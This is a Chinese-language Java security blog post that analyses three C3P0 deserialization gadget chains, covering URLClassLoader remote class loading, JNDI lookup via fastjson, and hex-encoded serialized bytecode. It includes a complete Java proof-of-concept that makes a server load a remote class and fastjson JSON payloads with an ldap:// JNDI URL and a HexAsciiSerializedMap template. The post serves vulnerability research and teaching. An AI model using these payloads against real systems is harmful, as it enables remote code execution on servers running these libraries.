Java安全

C3P0链

C3P0

早期的数据库连接池工具包 控制管理数据库连接

避免重复多次创建销毁连接

创建一次数据源 就可以直接多次使用

依赖地址

1
2
3
4
5
<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

DataSource

数据源。为了提高系统性能，在真实的Java项目中通过不会使用原生的JDBC的DriverManager去连接数据库，而是使用数据源（java.sql.DataSource）来代替DriverManager管理数据库的连接。

其中C3P0就是一种常见的数据源，它允许应用程序重复使用一个现有的数据库连接，而不是再重新建立一个。它提供了高效管理和复用数据库连接的功能。

简单使用

1
2
3
4
5
6
7
8
ComboPooledDataSource source = new ComboPooledDataSource();

source.setDriverClass("com.mysql.jdbc.Driver");
source.setJdbcUrl("jdbc:mysql://127.0.0.1:3306/mysql");
source.setUser("root");
source.setPassword("root");

Connection connection = source.getConnection();

C3P0 URLClassLoader远程类加载

核心类

  1. PoolBackedDataSourceBase
  2. ReferenceIndirector$ReferenceSerialized
  3. ReferenceableUtils

PoolBackedDataSourceBase

重点在writeObject和readObject

image-20260528191717965

image-20260528191817141

来看看这个类 ReferenceIndirector

上面如果没有成功序列化 则会进入异常中

进入ReferenceIndirector.indirectForm

image-20260528191959983

调用getReference() 被调用的对象必须要继承Reference接口才行 不然直接就异常跳出了

后续会实例化一个ReferenceSerialized

注意这里的ref可控 其他的参数都不可控

ref来自于ConnectionPoolDataSource成员对象

实例化的作用就是填入一些内容而已

image-20260528192301027

writeObject方法的下面又是类似的操作 只不过换成了extensions 我们这里没用到他

接下来看看readObject方法

image-20260528192359550

判断对象里面是否有 IndirectlySerialized

有则调用getObject方法

这里实际上调用刚刚序列化的IndirectlySerialized对象的getObject方法

image-20260528192632788

可以看到会调用lookup方法 那么可以直接打jndi吗

image-20260528192845953

刚刚也就reference是可控的地方 contextName是不可控的

所以没法直接打jndi

进入下面的 ReferenceableUtils.referenceToObject( reference, name, nameContext, env )

image-20260528193114617

image-20260528193320344

这个部分会获取ref对象的工厂类名和工厂类的地址也就是url了

然后获取ClassLoader对象

image-20260528193410242

将获取的url包装为一个URL对象

创建一个URLCLassLoader对象 传入刚刚的URL对象和类加载器

这里指定类加载器尝试加载工厂类 Class fClass = Class.forName( fClassName, true, cl );

由于指定的是URLCLassLoader这个类加载器 那么他会尝试远程类加载

如果成功获取到相对于的类就直接实例化

我们只需要在PoolBackedDataSourceBase里面填入一个connectionPoolDataSource成员对象就可以了

image-20260528193950357

调用setter就可以了

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import  com.*;
import com.mchange.v2.ser.Indirector;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Properties;
import java.util.logging.Logger;

public class C3P0_URLClassLoader {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase pool = new PoolBackedDataSourceBase(false);
        pool.setConnectionPoolDataSource(new datapool());


        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(pool);
        oos.flush();
        oos.close();
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();


    }
    static public class datapool implements ConnectionPoolDataSource, Referenceable {

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }

        @Override
        public Reference getReference() throws NamingException {
            Reference ref = new Reference("Calc","Calc","http://127.0.0.1:8000/");
            return ref;
        }
    }
}

调试一下

image-20260528195259529

传入的成员对象要继承这2个接口

image-20260528195323453

这个方法还得实现一下

image-20260528195400032

断点打在writeObject上面

image-20260528195443542

刚刚传入的对象没法序列化 所以进入下面的语句中

实例化一个ReferenceIndirector对象 并调用indirectForm并传入connectionPoolDataSource成员

image-20260528195623241

刚刚实现了getReference方法 现在的引用对象ref有这些内容 都是后面远程类加载需要的

image-20260528195741498

实例化内部类ReferenceSerialized

现在来到readobject方法

image-20260528195833889

进入getObject方法

image-20260528195857726

进入ReferenceableUtils.referenceToObject方法

image-20260528195931476

上面是获取远程类的一些基本信息 下面开始加载这个远程类

image-20260528200031196

远程的这个地方收到请求

image-20260528200100881

成功加载并初始化

由于这里是调用forName方法 会触发类的静态方法 所以这里直接就会弹了

这条链子一个触发类就成了

并且也只要传入一个对象 其他的都是内部调用还是太权威了 出不过不出网就没法利用了

C3P0 jndi

这个工具包支持jndi 所以很多地方都有jndi的影子

这个链子打fastjson解析反序列化 或者是fastjson原生反序列化

核心类

  1. JndiRefConnectionPoolDataSource
  2. WrapperConnectionPoolDataSource
  3. JndiRefDataSourceBase
  4. JndiRefForwardingDataSource

JndiRefConnectionPoolDataSource

这个类名字就和jndi连接有关

image-20260528202310663

image-20260528202350126

跟进一下这个方法

image-20260528202412739

image-20260528202621859

会获得一个成员变量如何调用getLoginTimeout方法

image-20260528202652369

我们先转到调试的时候的这个类

跟进inner方法

image-20260528202735429

进入dereference方法

image-20260528202801219

获取jndi地址 然后lookup 可以打jndi

看看jndiname怎么控制

image-20260528202908642

调用的getJndiName来自JndiRefDataSourceBase类

JndiRefConnectionPoolDataSource这个类里面有这个成员对象 JndiRefForwardingDataSource

JndiRefForwardingDataSource继承了JndiRefDataSourceBase类

image-20260528203235360

image-20260528203331817

所以直接调用setJndiName就可以控制了

POC

1
2
3
4
5
{
    "@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource",
    "JndiName":"ldap://127.0.0.1:4321/Calc",
    "getLoginTimeout":"1"
}

C3P0 hex加载字节码

核心类

  1. WrapperConnectionPoolDataSource
  2. WrapperConnectionPoolDataSourceBase.setUserOverridesAsString
  3. VetoableChangeSupport.fireVetoableChange
  4. VetoableChangeSupport.fireVetoableChange
  5. WrapperConnectionPoolDataSource.vetoableChange
  6. C3P0ImplUtils.parseUserOverridesAsString
  7. SerializableUtils.fromByteArray( serBytes )
1
2
3
4
{
    "@type":"com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSource",
    "UserOverridesAsString":"HexAsciiSerializedMap:"+hex
}

说些什么吧！

gitalk